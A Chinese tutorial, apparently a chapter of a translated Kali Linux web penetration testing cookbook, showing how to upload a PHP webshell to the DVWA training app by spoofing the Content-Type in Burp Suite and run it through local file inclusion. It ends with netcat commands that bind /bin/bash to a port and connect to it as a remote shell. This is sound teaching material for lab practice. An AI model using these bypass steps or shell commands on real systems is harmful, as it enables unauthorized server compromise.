专栏首页小白帽学习之路Kali Linux Web渗透测试手册(第二版) - 6.2 - 文件包含和文件上传

Kali Linux Web渗透测试手册(第二版) - 6.2 - 文件包含和文件上传

6.2、文件包含和文件上传

我们在前面的章节中了解到的,当开发人员对用户上传的文件所在的路径不做安全校验或者用户恶意上传文件使其包含当前路径的某些源码时,就会发生文件上传或者文件包含漏洞。如今的服务端开发语言比如PHP,它从5.2.0版本开始就默认关闭了远程文件包含的功能,所以从2011年到如今,PHP的RFI已经不是那么轻易就能被发现了。

在本篇小节中,我们将学到通过上传一个恶意的文件,也就是WebShell(可以在服务器上执行命令的web页面)并且使用LFI执行它。

环境准备

在这个章节,我们会在服务器上上传一个文件。我们需要知道上传文件的存储位置以便于我们能通过程序去访问它。在DVWA中找到一个可以上传文件的地方,任意上传一张JPG格式的图片,如果上传成功,那么当前页面会显示上传文件的存储路径,像../../hackable/uploads/这样的格式,由此我们就可以得知上传后的文件的相对路径。

现在我们创建一个名叫webshell.php的文件,它的内容如下:

特别注意一点,action参数写入的值是我们通过测试上传一个图片后的提示信息中得来的存储路径。

实战演练

打开DVWA并登陆,将安全等级设置为中级,然后就可以开始了:

1. 首先,我们在DVWA的上传点上传webshell.php文件:

当你尝试上传后缀为.php的文件时,会发现上传失败,这是因为DVWA的中级限制对上传的文件后缀做了安全检查,只允许上传图片,所以在这里我们需要绕过这个限制上传webshell.php

2. 说道绕过上传限制的手段,你可能首先会想到直接将webshell.php改为webshell.jpg,这种直接更改后缀的办法确实能够绕过对后缀的检查,但是这样的上传是没有意义的,因为服务器只会根据后缀来识别文件,所以webshell.jpg就会被当做图片,当然写在webshell.php中的PHP代码是不会被执行的。正确的办法是使用Burpsuite;

3. 在上传选项中选中webshell.php文件

4. 打开Burpsuite的拦截开关,然后点击上传,数据包就会被拦截下来,如下图:

简单分析这个请求可以发现,请求是多部分的,并且每一部分都是对应的标题。尤其注意上图中第二个Content-Type,它包含了上传文件的内容,并且告诉服务器它是一个PHP文件

5. 将第二个Content-Type中的值修改为image/jpeg后再放行请求包,然后你就会看到上传成功的信息:

6.上传成功后,我们要使用上传的webshell.php来对服务器执行命令。返回到DVWA的File Inclusion选项;

7.使用page参数来包含webshell.php,截图如下:

8.我们可以看到webshell.php被成功地加载,并且会有一个文本框,在文本框中输入/sbin/ifconfig然后敲下回车键,你就可以看到出现了文本提示信息,这代表代码被成功执行,如下图:

原理剖析

首先,我们发现WEB应用程序会对上传的文件进行安全检查,当然,安全检查的手段是多种多样的,常见的是对后缀名的检查和Content-Type的类型检查,本小节就是后者的情况。要绕过这种保护,我们需要更改浏览器为文件设置的默认Content-Type值,如上,我们将application/x-php更改为image/jpeg,因为php内容是不被服务器所接受的,但是image确是可以的。

在webshell.php中,我们使用GET请求来获取CMD的值,然后将CMD的值放在PHP函数system()中执行,再将执行的结果以文本的形式反馈在页面中。

Webshell.php被上传后,我们即可使用LFI文件包含漏洞来包含webshell.php,然后通过它执行系统命令。

另请参阅

一旦我们能在服务器上执行代码,那么这个服务器就岌岌可危了,它已经是你的囊中之物了。

我们可以使用正向连接,从服务器反弹一个shell然后在客户端连接它,下面是一个简单的例子:

nc -lp 12345 -e /bin/bash

使用nc监听本地的12345端口然后等待客户端的连接,当连接成功后便会执行/bin/bash,接收输入,然后通过网络将输出信息反馈给连接者,我们可以尝试使用kali来连接到受害者的服务器,使用一下命令:

nc 192.168.56.10 12345

通过服务器开放的12345端口后,便可以在服务器上执行命令了,包括提权等。

本文分享自微信公众号 - 小白帽学习之路(bat7089),作者:掣雷小组

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2019-01-02

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • 涨见识!如何用骚思路绕过上传后文件内容检测

    关于这个上传点我大概研究了三个多小时,上传的时候他会将上传后的文件内容进行Base64加密然后上传,之后我测试上传图片马是可以上传进去的,但是无法解析。

    7089bAt@PowerLi
  • 记一次渗透竞赛中的思路笔记~

    因为是一次做渗透而且又是靶场,所以信息搜集也就没有做,拿到靶场网址后直接打开网页看看有什么东西,发现了一个登录口,想着有登录那就有注册,所以思路就出来了:注册→...

    7089bAt@PowerLi
  • 实战 | 小小曲折渗透路之文件上传绕过

    Upload-labs是一个帮你总结所有类型的上传漏洞的靶场,包括常见的文件上传漏洞

    7089bAt@PowerLi
  • Kali Linux Web渗透测试手册(第二版) - 6.2 - 文件包含和文件上传

    thr0cyte,Gr33k,花花,MrTools,R1ght0us,7089bAt

    用户1631416
  • php7安装redis拓展

    phpredis下载地址https://github.com/phpredis/phpredis 解压并进入源码包 unzip phpredis-develop...

    用户1679793
  • Windows平台的PHP之开启COM配置

    php根目录的 ext 文件夹下确保存有 php_com_dotnet.dll 这个文件

    剑行者
  • Jarvis-OJ平台多题WriteUp分享

    题目 ## PORT51 ## LOCALHOST ## Login ## 神盾局的秘密 ## IN A Mess ## RE ## flag在管理员手里 ##...

    安恒网络空间安全讲武堂
  • 当面试官问你:nginx 如何解析php文件?

    本来想着发布一篇什么样子技术文章,更有意义。考虑之后想起这么一个事情,上次一个伙伴突然问我 nginx 如何解析php 文件,我瞬间懵逼了~~~或许学...

    YP小站
  • Ubuntu 16.04 下 Typecho 部署

    站点购买的时候腾讯只送了 20G 云盘,当我购买第二款机器的时候额度提升到了 50G。加上机器当时使用的是 Ubuntu 14.04 而且使用的是 HTTP 协...

    BigNerdCoding
  • laravel5.3的新功能尝鲜

    上一节课 https://my.oschina.net/lilugirl2005/blog/783370

    lilugirl

扫码关注云+社区

领取腾讯云代金券